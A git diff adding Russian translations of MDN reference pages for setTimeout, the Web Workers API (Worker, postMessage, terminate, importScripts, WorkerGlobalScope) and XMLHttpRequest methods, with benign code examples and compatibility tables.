Важно заметить, что функция или код не могут быть выполнены, пока не завершится поток, вызвавший setTimeout().

+ +

Passing string literals

+ +

Передача строки вместо функции в setTimeout() сопряжена с теми же опасностями, что и использование eval.

+ +
// Правильно
+window.setTimeout(function() {
+    alert("Hello World!");
+}, 500);
+
+// Неправильно
+window.setTimeout("alert(\"Hello World!\");", 500);
+
+
+ +

String literals are evaluated in the global context, so local symbols in the context where setTimeout() was called will not be available when the string is evaluated as code.

+ +

Минимальная/ максимальная задержка и вложенность таймаута

+ +

Historically browsers implement setTimeout() "clamping": successive setTimeout() calls with delay smaller than the "minimum delay" limit are forced to use at least the minimum delay. The minimum delay, DOM_MIN_TIMEOUT_VALUE, is 4 ms (stored in a preference in Firefox: dom.min_timeout_value), with a DOM_CLAMP_TIMEOUT_NESTING_LEVEL of 5ms.

+ +

In fact, 4ms is specified by the HTML5 spec and is consistent across browsers released in 2010 and onward. Prior to {{ geckoRelease("5.0") }}, the minimum timeout value for nested timeouts was 10 ms.

+ +

In addition to "clamping", the timeout can also fire later when the page (or the OS/browser itself) is busy with other tasks.

+ +

To implement a 0 ms timeout in a modern browser, you can use {{ domxref("window.postMessage()") }} as described here.

+ +

Browsers including Internet Explorer, Chrome, Safari, and Firefox store the delay as a 32-bit signed Integer internally. This causes an Integer overflow when using delays larger than 2147483647, resulting in the timeout being executed immediately.

+ +

Неактивные вкладки

+ +

In {{ geckoRelease("5.0") }} and Chrome 11, timeouts are clamped to firing no more often than once per second (1000ms) in inactive tabs; see {{ bug(633421) }} for more information about this in Mozilla or crbug.com/66078 for details about this in Chrome.

+ +

Совместимость с браузерами

+ +

{{Compat("api.WindowOrWorkerGlobalScope.setTimeout")}}

+ +

Спецификация

+ +

Part of DOM level 0, as specified in HTML5.

+ +

Также интересно

+ + diff --git a/files/ru/web/api/worker/index.html b/files/ru/web/api/worker/index.html new file mode 100644 index 0000000000..6ccf2b1341 --- /dev/null +++ b/files/ru/web/api/worker/index.html @@ -0,0 +1,145 @@ +--- +title: Worker +slug: Web/API/Worker +translation_of: Web/API/Worker +--- +

{{APIRef("Web Workers API")}}

+ +

Интерфейс Worker из Web Workers API является представителем фоновой задачи, которая легко может быть создана и может передавать сообщения обратно создателю. Создание worker  - это вызов конструктора Worker() и задание скрипта, выполняемого в потоке worker.

+ +

Workers могут, в свою очередь, порождать новые workers, если эти workers расположены в одном каталоге с родительской страницей (Примечание: вложенные workers в настоящее время не поддерживаются в Blink).  Кроме того, workers могут использовать XMLHttpRequest для network I/O, при условии, что атрибуты responseXML и channel XMLHttpRequest всегда возвращают null.

+ +

Не все интерфейсы и функции могут быть использованы в скрипте, ассоциированном с Worker.

+ +

В Firefox, если вы хотите использовать workers в расширениях и хотели бы иметь доступ к js-ctypes, вам нужно использовать объект {{ domxref("ChromeWorker") }}.

+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("EventTarget")}}, и поддерживает свойства из {{domxref("AbstractWorker")}}.

+ +

Обработчики событий

+ +
+
{{domxref("AbstractWorker.onerror")}}
+
{{ domxref("EventListener") }} вызываемый каждый раз, когда из воркера приходит {{domxref("ErrorEvent")}} с типом error. Это событие унаследовано от {{domxref("AbstractWorker")}}.
+
{{domxref("Worker.onmessage")}}
+
{{ domxref("EventListener") }} вызываемый каждый раз, когда из воркера приходит {{domxref("MessageEvent")}} с типом message — то есть когда сообщение было отправлено воркером в родительский документ с помощью {{domxref("DedicatedWorkerGlobalScope.postMessage")}}. Сообщение передаётся в свойстве объекта события {{domxref("MessageEvent.data", "data")}}.
+
+ +

Конструкторы

+ +
+
{{domxref("Worker.Worker", "Worker()")}}
+
Создаёт dedicated web worker, выполняющий скрипт, расположенный по указаному URL. Воркеры также могут быть созданы с использованием Blobs.
+
+ +

Методы

+ +

Наследует методы своего родителя, {{domxref("EventTarget")}}, а также реализует методы {{domxref("AbstractWorker")}}.

+ +
+
{{domxref("Worker.postMessage()")}}
+
Отправляет сообщение — которое может являться любым JavaScript объектом — во внутреннюю область видимости воркера.
+
{{domxref("Worker.terminate()")}}
+
Немедленно завершает выполнение воркера. Не даёт воркеру возможности завершить выполняемые операции; просто сразу останавливается. Экземпляры ServiceWorker не поддерживают этот метод.
+
+ +

Пример

+ +

Представленный фрагмент кода показывает создание объекта {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}, а также его использование:

+ +
var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

For a full example, see ourBasic dedicated worker example (run dedicated worker).

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#worker", "Worker")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#worker", "Worker")}}{{Spec2('Web Workers')}}Изначальное определение.
+ +

Совместимость с браузерами

+ +

Поддержка варьируется для разных видов воркеров. Для уточнения смотрите статьи по каждому типу воркеров.

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support43.510.010.64
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic support4.43.51.0.110.011.55.1{{CompatUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/worker/onmessage/index.html b/files/ru/web/api/worker/onmessage/index.html new file mode 100644 index 0000000000..86db26c45f --- /dev/null +++ b/files/ru/web/api/worker/onmessage/index.html @@ -0,0 +1,124 @@ +--- +title: Worker.onmessage +slug: Web/API/Worker/onmessage +translation_of: Web/API/Worker/onmessage +--- +

{{APIRef("Web Workers API")}}

+ +

Свойство onmessage  интерфейса {{domxref("Worker")}} представляет собой обработчик {{domxref("EventHandler")}}, который будет вызван когда произойдет событие {{event("message")}}. Тип этого события {{domxref("MessageEvent")}} и оно будет вызвано когда worker-объект получит сообщение из выполняемого им кода (т.е из метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}} .

+ +
+

Примечание: Данные события доступны в свойстве data события {{event("message")}}.

+
+ +

Синтаксис

+ +
myWorker.onmessage = function(e) { ... }
+ +

Пример

+ +

Следующий пример кода показывает создание объекта {{domxref("Worker")}} используя конструктор {{domxref("Worker.Worker", "Worker()")}}. События попадают в объект, когда значение внутри поля ввода формы first изменяется. Обработчик onmessage указан для обработки сообщений, которые приходят назад из кода объекта в текущий контекст выполнения.

+ +
var myWorker = new Worker("worker.js");
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение, отправленное в worker-объект');
+}
+
+myWorker.onmessage = function(e) {
+  result.textContent = e.data;
+  console.log('Сообщение полученное из worker-объекта');
+}
+
+ +

В скрипте worker.js, обработчик onmessage используется для обработки событий, полученных из главного скрипта:

+ +
onmessage = function(e) {
+  console.log('Сообщение полученное из главного скрипта');
+  var workerResult = 'Результат: ' + (e.data[0] * e.data[1]);
+  console.log('Отправка сообщения назад в главный скрипт');
+  postMessage(workerResult);
+}
+ +

Посмотрите как в скрипте worker.js вызывается обработчик onmessage. В нем присутствует только глобальное свойство onmessage, потому что worker-объект фактически является областью видимости ({{domxref("DedicatedWorkerGlobalScope")}}).

+ +

Для полного примера смотрите наш Basic dedicated worker example (run dedicated worker).

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "#handler-worker-onmessage", "Worker.onmessage")}}{{Spec2('HTML WHATWG')}}Никаких изменений из {{SpecName("Web Workers")}}.
{{SpecName('Web Workers', "#handler-worker-onmessage", "Worker.onmessage")}}{{Spec2('Web Workers')}}Начальное определение.
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ФункциональностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка43.510.010.64
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ФункциональностьAndroidFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка4.43.51.0.110.011.55.1
+
+ +

Смотрите также

+ +

Интерфейс {{domxref("Worker")}}, которому принадлежит этот обработчик.

diff --git a/files/ru/web/api/worker/postmessage/index.html b/files/ru/web/api/worker/postmessage/index.html new file mode 100644 index 0000000000..1d6279b648 --- /dev/null +++ b/files/ru/web/api/worker/postmessage/index.html @@ -0,0 +1,163 @@ +--- +title: Worker.postMessage() +slug: Web/API/Worker/postMessage +tags: + - API + - JavaScript + - Web Workers + - Worker + - postMessage + - Ссылка + - метод +translation_of: Web/API/Worker/postMessage +--- +

{{APIRef("Web Workers API")}}

+ +

Метод postMessage() интерфейса {{domxref("Worker")}} отправляет сообщение во внутреннее пространство worker-а. Метод имеет один параметр с данными для отправки в worker. Данные могут быть любым значением или объектом JavaScript, которые может обработать алгоритм структурированного клонирования, подерживающий циклические ссылки.

+ +

Worker может отправить обратно информацию потоку создавшему его с помощью метода {{domxref("DedicatedWorkerGlobalScope.postMessage")}}.

+ +

Синтаксис

+ +
worker.postMessage(message, [transfer]);
+ +

Параметры

+ +
+
message
+
Object передаваемый в worker. Будет содержаться в поле data описания события обработчика {{domxref("DedicatedWorkerGlobalScope.onmessage")}}. Это может быть любое значение или объект JavaScript, которые может обработать алгоритм структурированного клонирования, подерживающий циклические ссылки.
+
transfer {{optional_inline}}
+
Необязательный array с передаваемыми ({{domxref("Transferable")}}) объектами (из тех, что были указаны в message) на которые передаются права собственности. Если право на объект передается, он становится непригодным (neutered) в контексте, из которого был отправлен, и становится доступным только в worker, которому он был отправлен.
+
Переданные (transferable) объекты могут быть экземплярами классов {{domxref("ArrayBuffer")}}, {{domxref("MessagePort")}} или {{domxref("ImageBitmap")}}. null не является допустимым значением для передачи прав.
+
+ +

Возвращаемое значение

+ +

Void.

+ +

Пример

+ +

В следующем фрагменте кода показано создание объекта {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}. При изменении значений одного из двух полей формы (first и second) событием {{event("change")}} вызывается функция postMessage() для отправки значений полей текущему worker.

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение отправлено работнику');
+}
+
+second.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Сообщение отправлено работнику');
+}
+
+ +

Больше примеров можно найти здесь: Basic dedicated worker example (run dedicated worker).

+ +
+

Замечание: postMessage() может отправить только один объект за раз. Если нужно передать несколько значений, то можно отправить массив, как показано выше.

+
+ +

Пример с Transfer

+ +

В этом примере показано дополнение Firefox, которое передает ArrayBuffer из основного потока в ChromeWorker, а затем ChromeWorker передает его обратно в основной поток.

+ +

Код основного потока:

+ +
var myWorker = new ChromeWorker(self.path + 'myWorker.js');
+
+function handleMessageFromWorker(msg) {
+    console.log('входящее сообщение от работника:', msg);
+    switch (msg.data.aTopic) {
+        case 'do_sendMainArrBuff':
+            sendMainArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'свойство aTopic отсутствует в сообщении ChromeWorker';
+    }
+}
+
+myWorker.addEventListener('message', handleMessageFromWorker);
+
+// Создание и отправка буфера
+var arrBuf = new ArrayBuffer(8);
+console.info('arrBuf.byteLength, ДО передачи:', arrBuf.byteLength);
+
+myWorker.postMessage(
+    {
+        aTopic: 'do_sendWorkerArrBuff',
+        aBuf: arrBuf // буфер который передается 3 строками ниже
+    },
+    [
+        arrBuf // буфер созданный на строке 9
+    ]
+);
+
+console.info('arrBuf.byteLength, ПОСЛЕ передачи:', arrBuf.byteLength);
+
+ +

Код Worker-а

+ +
self.onmessage = function (msg) {
+    switch (msg.data.aTopic) {
+        case 'do_sendWorkerArrBuff':
+                sendWorkerArrBuff(msg.data.aBuf)
+            break;
+        default:
+            throw 'свойство aTopic отсутствует в сообщении ChromeWorker';
+    }
+}
+
+function sendWorkerArrBuff(aBuf) {
+    console.info('от рабочего, ДО отправки обратно, aBuf.byteLength:', aBuf.byteLength);
+
+    self.postMessage({aTopic:'do_sendMainArrBuff', aBuf:aBuf}, [aBuf]);
+
+    console.info('от рабочего, ПОСЛЕ отправки обратно, aBuf.byteLength:', aBuf.byteLength);
+}
+
+ +

Лог консоли

+ +
arrBuf.byteLength, ДО передачи: 8                               bootstrap.js:40
+arrBuf.byteLength, ПОСЛЕ передачи: 0                            bootstrap.js:42
+
+от рабочего, ДО отправки обратно, aBuf.byteLength: 8            myWorker.js:5:2
+
+входящее сообщение от работника: message { ... }                bootstrap.js:20
+буфер вернулся в основной поток, aBuf.byteLength: 8             bootstrap.js:12
+
+от рабочего, ПОСЛЕ отправки обратно, aBuf.byteLength: 0         myWorker.js:7:2
+ +

byteLength равен 0 потому, что это переданный (transferable) объект. Полный пример демо дополнения Firefox можно найти здесь: GitHub :: ChromeWorker - demo-transfer-arraybuffer

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "#dom-worker-postmessage", "Worker.postMessage()")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Worker.postMessage")}}

+ +

[1] Internet Explorer не поддерживает {{domxref("Transferable")}} объекты.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/worker/terminate/index.html b/files/ru/web/api/worker/terminate/index.html new file mode 100644 index 0000000000..68c93a7b08 --- /dev/null +++ b/files/ru/web/api/worker/terminate/index.html @@ -0,0 +1,64 @@ +--- +title: Worker.terminate() +slug: Web/API/Worker/terminate +tags: + - API + - Reference + - Web Workers + - Worker + - terminate + - Ссылка + - метод +translation_of: Web/API/Worker/terminate +--- +

{{APIRef("Web Workers API")}}

+ +

Метод terminate() интерфейса {{domxref("Worker")}} немедленно завершает работу worker. Работнику не дается возможность завершить свою работу, он останавливается сразу.

+ +

Синтаксис

+ +
myWorker.terminate();
+ +

Параметры

+ +

Нет.

+ +

Возвращаемое значение

+ +

Void.

+ +

Пример

+ +

В следующем фрагменте кода показано создание потока {{domxref("Worker")}} с помощью конструктора {{domxref("Worker.Worker", "Worker()")}}, который немедленно завершается.

+ +
var myWorker = new Worker('worker.js');
+
+myWorker.terminate();
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "#dom-worker-terminate", "Worker.terminate()")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Worker.terminate")}}

+ +

Смотрите также

+ +

Интерфейс {{domxref("Worker")}}.

diff --git a/files/ru/web/api/worker/worker/index.html b/files/ru/web/api/worker/worker/index.html new file mode 100644 index 0000000000..625841b703 --- /dev/null +++ b/files/ru/web/api/worker/worker/index.html @@ -0,0 +1,89 @@ +--- +title: Worker() +slug: Web/API/Worker/Worker +tags: + - API + - Constructor + - Reference + - Web Workers + - Worker + - Конструктор + - Ссылка +translation_of: Web/API/Worker/Worker +--- +

{{APIRef("Web Workers API")}}

+ +

Конструктор Worker() создает объект {{domxref ("Worker")}}, который выполняет скрипт по указанному URL-адресу. Этот скрипт должен подчиняться политике одного источника (same-origin policy).

+ +

Если URL имеет недопустимый синтаксис или нарушена политика одного источника, то будет вызвано {{domxref("DOMException")}} типа SECURITY_ERR.

+ +
+

Замечание: that there is a disagreement among browser manufacturers about whether a data URI is of the same origin or not. Though Gecko 10.0 {{ geckoRelease("10.0") }} and later accept data URIs, that's not the case in all other browsers.

+
+ +

Синтаксис

+ +
var myWorker = new Worker(aURL, options);
+ +

Параметры

+ +
+
aURL
+
{{domxref("USVString")}}, представляющая URL-адрес скрипта который будет выполняться worker. Он должен подчиняться политике одного источника.
+
options {{optional_inline}}
+
An object containing option properties that can be set when creating the object instance. Available properties are as follows: +
    +
  • type: A {{domxref("DOMString")}} specifying the type of worker to create. The value can be classic or module. If not specified, the default used is classic.
    • +
  • credentials: A {{domxref("DOMString")}} specifying the type of credentials to use for the worker. The value can be omit, same-origin, or include. If not specified, or if type is classic, the default used is omit (no credentials required).
    • +
  • name: A {{domxref("DOMString")}} specifying an identifying name for the {{domxref("DedicatedWorkerGlobalScope")}} representing the scope of the worker, which is mainly useful for debugging purposes.
    • +
+
+
+ +

Исключения

+ + + +

Пример

+ +

Следующий фрагмент кода показывает создание объекта {{domxref ("Worker")}} с помощью конструктора Worker() и его последующее использование:

+ +
var myWorker = new Worker('worker.js');
+
+first.onchange = function() {
+  myWorker.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+ +

Больше примеров можно найти здесь: Basic dedicated worker example (run dedicated worker).

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('HTML WHATWG', "#dom-worker", "Worker()")}}{{Spec2('HTML WHATWG')}} 
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Worker.Worker")}}

+ +

Смотрите также

+ +

Интерфейс {{domxref("Worker")}}

diff --git a/files/ru/web/api/workerglobalscope/importscripts/index.html b/files/ru/web/api/workerglobalscope/importscripts/index.html new file mode 100644 index 0000000000..75989503bd --- /dev/null +++ b/files/ru/web/api/workerglobalscope/importscripts/index.html @@ -0,0 +1,73 @@ +--- +title: WorkerGlobalScope.importScripts() +slug: Web/API/WorkerGlobalScope/importScripts +translation_of: Web/API/WorkerGlobalScope/importScripts +--- +

{{APIRef("Web Workers API")}}

+ +

Метод importScripts() интерфейса {{domxref("WorkerGlobalScope")}} синхронно импортирует один или несколько скриптов, добавляя их в область видимости сервис-воркера.

+ +

Синтаксис

+ +
self.importScripts('foo.js');
+self.importScripts('foo.js', 'bar.js', ...);
+ +

Параметры

+ +

Разделенный запятыми объект {{domxref("DOMString")}} скриптов, которые должны быть импортированы. Пути к скриптам указываются относительно URL HTML документа.

+ +

Возвращаемое значение

+ +

Нет.

+ +

Выбрасываемые исключения

+ + + + + + + + + + + + + + +
ИсключениеОписание
NetworkErrorДобавленные скрипты имеют неверные MIME тип (то есть не text/javascript).
+ +

Пример

+ +

Если вы хотите использовать некоторую функциональность, опделённую файлом foo.js, необходимо сделать следующее:

+ +
importScripts('foo.js');
+ +

importScripts() и self.importScripts() по сути эквивалентны — и то и другое вызывает функцию importScripts() в области видимости воркера.

+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-workerglobalscope-importscripts', 'importScripts()')}}{{Spec2('HTML WHATWG')}}
+ +

Поддержка браузерами

+ + + +

{{Compat("api.WorkerGlobalScope.importScripts")}}

+ +

Смотрите Также

+ +

{{domxref("WorkerGlobalScope")}}

diff --git a/files/ru/web/api/workerglobalscope/index.html b/files/ru/web/api/workerglobalscope/index.html new file mode 100644 index 0000000000..8b0f33c7e3 --- /dev/null +++ b/files/ru/web/api/workerglobalscope/index.html @@ -0,0 +1,173 @@ +--- +title: WorkerGlobalScope +slug: Web/API/WorkerGlobalScope +tags: + - API + - Interface + - NeedsTranslation + - Reference + - TopicStub + - WorkerGlobalScope + - Workers +translation_of: Web/API/WorkerGlobalScope +--- +

{{APIRef("Web Workers API")}}

+ +

The WorkerGlobalScope interface of the Web Workers API is an interface representing the scope of any worker. Workers have no browsing context; this scope contains the information usually conveyed by {{domxref("Window")}} objects — in this case event handlers, the console or the associated {{domxref("WorkerNavigator")}} object. Each WorkerGlobalScope has its own event loop.

+ +

This interface is usually specialized by each worker type: {{domxref("DedicatedWorkerGlobalScope")}} for dedicated workers, {{domxref("SharedWorkerGlobalScope")}} for shared workers, and {{domxref("ServiceWorkerGlobalScope")}} for ServiceWorker. The self property returns the specialized scope for each context.

+ +

Properties

+ +

This interface inherits properties from the {{domxref("EventTarget")}} interface and {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.

+ +

Standard properties

+ +

{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}

+ +
+
Returns the {{domxref("WorkerNavigator")}} associated with the worker. It is a specific navigator object, mostly a subset of the {{domxref("Navigator")}} for browsing scopes, but adapted to workers.
+
{{domxref("WorkerGlobalScope.self")}} {{readOnlyinline}}
+
Returns a reference to the WorkerGlobalScope itself. Most of the time it is a specific scope like {{domxref("DedicatedWorkerGlobalScope")}},  {{domxref("SharedWorkerGlobalScope")}} or {{domxref("ServiceWorkerGlobalScope")}}.
+
{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}
+
Returns the {{domxref("WorkerLocation")}} associated with the worker. It is a specific location object, mostly a subset of the {{domxref("Location")}} for browsing scopes, but adapted to workers.
+
+ +

Non-standard properties

+ +
+
{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}
+
Returns the {{domxref("Performance")}} associated with the worker. It is a regular performance object, except that only a subset of its property and methods are available to workers.
+
{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}} {{Non-standard_inline}}
+
Returns the {{domxref("Console")}} associated with the worker.
+
+ +

Properties implemented from elsewhere

+ +
+
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
+
Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.
+
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
+
Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.
+
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
+
Returns a boolean indicating whether the current context is secure (true) or not (false).
+
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
+
Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)
+
+ +

Events

+ +
+
error
+
Fired when an error occured.
+ Also available via the {{domxref("WorkerGlobalScope.onerror")}} property.
+
offline
+
Fired when the browser has lost access to the network and the value of navigator.onLine switched to false.
+ Also available via the {{domxref("WorkerGlobalScope.onoffline")}} property.
+
online
+
Fired when the browser has gained access to the network and the value of navigator.onLine switched to true.
+ Also available via the {{domxref("WorkerGlobalScope.ononline")}} property.
+
languagechange
+
Fired at the global/worker scope object when the user's preferred languages change.
+ Also available via the {{domxref("WorkerGlobalScope.onlanguagechange")}} property.
+
+ +
+
close {{non-standard_inline}} {{obsolete_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.
+ Also available via the {{domxref("WorkerGlobalScope.onclose")}} property.
+
rejectionhandled {{non-standard_inline}}
+
An event handler for handled Promise rejection events.
+ Also available via the {{domxref("WorkerGlobalScope.onrejectionhandled")}} property.
+
unhandledrejection {{non-standard_inline}}
+
An event handler for unhandled Promise rejection events.
+ Also available via the {{domxref("WorkerGlobalScope.onunhandledrejection")}} property.
+
+ +

Methods

+ +

This interface inherits methods from the {{domxref("EventTarget")}} interface and {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.

+ +

Standard methods

+ +
+
{{domxref("WorkerGlobalScope.importScripts()")}}
+
Imports one or more scripts into the worker's scope. You can specify as many as you'd like, separated by commas. For example: importScripts('foo.js', 'bar.js');
+
+ +

Non-standard methods

+ +
+
{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}
+
Allows you to write a message to stdout — i.e. in your terminal. This is the same as Firefox's {{domxref("window.dump")}}, but for workers.
+
+ +

Methods implemented from elsewhere

+ +
+
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
+
Decodes a string of data which has been encoded using base-64 encoding.
+
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
+
Creates a base-64 encoded ASCII string from a string of binary data.
+
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
+
Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
+
Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
+
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
+
Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh.
+
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
+
Starts the process of fetching a resource from the network.
+
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
+
Schedules a function to execute every time a given number of milliseconds elapses.
+
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
+
Schedules a function to execute in a given amount of time.
+
+ +

Deprecated methods

+ +
+
{{domxref("WorkerGlobalScope.close()")}}
+
Discards any tasks queued in the WorkerGlobalScope's event loop, effectively closing this particular scope. In newer browser versions, close() is available on DedicatedWorkerGlobalScope and {{domxref("SharedWorkerGlobalScope.close", "SharedWorkerGlobalScope")}} instead. This change was made to stop close() being available on service workers, as it isn't supposed to be used there and always throws an exception when called (see {{bug(1336043)}}).
+
+ +

Example

+ +

You won't access WorkerGlobalScope directly in your code; however, its properties and methods are inherited by more specific global scopes such as {{domxref("DedicatedWorkerGlobalScope")}} and {{domxref("SharedWorkerGlobalScope")}}. For example, you could import another script into the worker and print out the contents of the worker scope's navigator object using the following two lines:

+ +
importScripts('foo.js');
+console.log(navigator);
+ +
+

Since the global scope of the worker script is effectively the global scope of the worker you are running ({{domxref("DedicatedWorkerGlobalScope")}} or whatever) and all worker global scopes inherit methods, properties, etc. from WorkerGlobalScope, you can run lines such as those above without specifying a parent object.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#workerglobalscope', 'WorkerGlobalScope')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.WorkerGlobalScope")}}

+ +

See also

+ + diff --git a/files/ru/web/api/xmlhttprequest/abort/index.html b/files/ru/web/api/xmlhttprequest/abort/index.html new file mode 100644 index 0000000000..d98ce045bf --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/abort/index.html @@ -0,0 +1,70 @@ +--- +title: XMLHttpRequest.abort() +slug: Web/API/XMLHttpRequest/abort +tags: + - AJAX + - API + - HTTP + - HttpRequest + - XHR + - XMLHttpRequest + - Отмена + - метод +translation_of: Web/API/XMLHttpRequest/abort +--- +

{{APIRef('XMLHttpRequest')}}

+ +

Метод XMLHttpRequest.abort() прерывает уже отправленный запрос. Когда запрос прерывается, то его свойство {{domxref("XMLHttpRequest.readyState", "readyState")}} устанавливается в UNSENT (0), а {{domxref("XMLHttpRequest.status", "status")}} в 0.

+ +

Синтаксис

+ +
XMLHttpRequest.abort()
+ +

Параметры

+ +

Нет.

+ +

Возвращаемое значение

+ +

undefined

+ +

Пример

+ +
var xhr = new XMLHttpRequest(),
+    method = "GET",
+    url = "https://developer.mozilla.org/";
+xhr.open(method, url, true);
+
+xhr.send();
+
+xhr.abort();
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('XMLHttpRequest', '#the-abort()-method')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
+ +

Совместимость браузеров

+ + + +

{{Compat("api.XMLHttpRequest.abort")}}

+ +

Cм. также

+ + diff --git a/files/ru/web/api/xmlhttprequest/getresponseheader/index.html b/files/ru/web/api/xmlhttprequest/getresponseheader/index.html new file mode 100644 index 0000000000..ebe4a094b6 --- /dev/null +++ b/files/ru/web/api/xmlhttprequest/getresponseheader/index.html @@ -0,0 +1,118 @@ +--- +title: XMLHttpRequest.getResponseHeader() +slug: Web/API/XMLHttpRequest/getResponseHeader +tags: + - API + - XHR + - XMLHttpRequest + - getResponseHeader + - метод +translation_of: Web/API/XMLHttpRequest/getResponseHeader +--- +

{{draft}}{{APIRef('XMLHttpRequest')}}

+ +

Метод XMLHttpRequest.getResponseHeader() возвращает строку, содержащую текст определённого хэдера (header). Если в наличии несколько хэдеров с одинаковыми именами, то они возвращаются в виде одной строки, где значения отделены друг от друга парой "запятая + пробел". Метод getResponseHeader() возвращает значение в кодировке UTF.

+ +

Синтаксис

+ +
var myHeader = getResponseHeader(name);
+ +

Параметры

+ +
+
name
+
Строка {{domxref("ByteString")}}, представляющая имя хэдера, значение которого необходимо возвратить в виде текста.
+
+ +

Возвращаемое значение

+ +

Строка {{domxref("ByteString")}}, представляющее текстовое значение хэдера или null, если ответ ещё не был получен или хэдер с именем name отсутствует в ответе.

+ +

Пример

+ +
var client = new XMLHttpRequest();
+client.open("GET", "unicorns-are-teh-awesome.txt", true);
+client.send();
+client.onreadystatechange = function() {
+  if(this.readyState == this.HEADERS_RECEIVED) {
+    console.log(client.getResponseHeader("Content-Type"));
+  }
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('XMLHttpRequest', '#dom-xmlhttprequest-getresponseheader', 'getResponseHeader()')}}{{Spec2('XMLHttpRequest')}}Действующий стандарт WHATWG
+ +

Совместимость браузеров

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
СвойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatChrome(1)}}{{CompatUnknown}}{{CompatIe('5')}}[1]
+ {{CompatIe('7')}}		{{CompatVersionUnknown}}{{CompatSafari('1.2')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome для AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}1.0{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
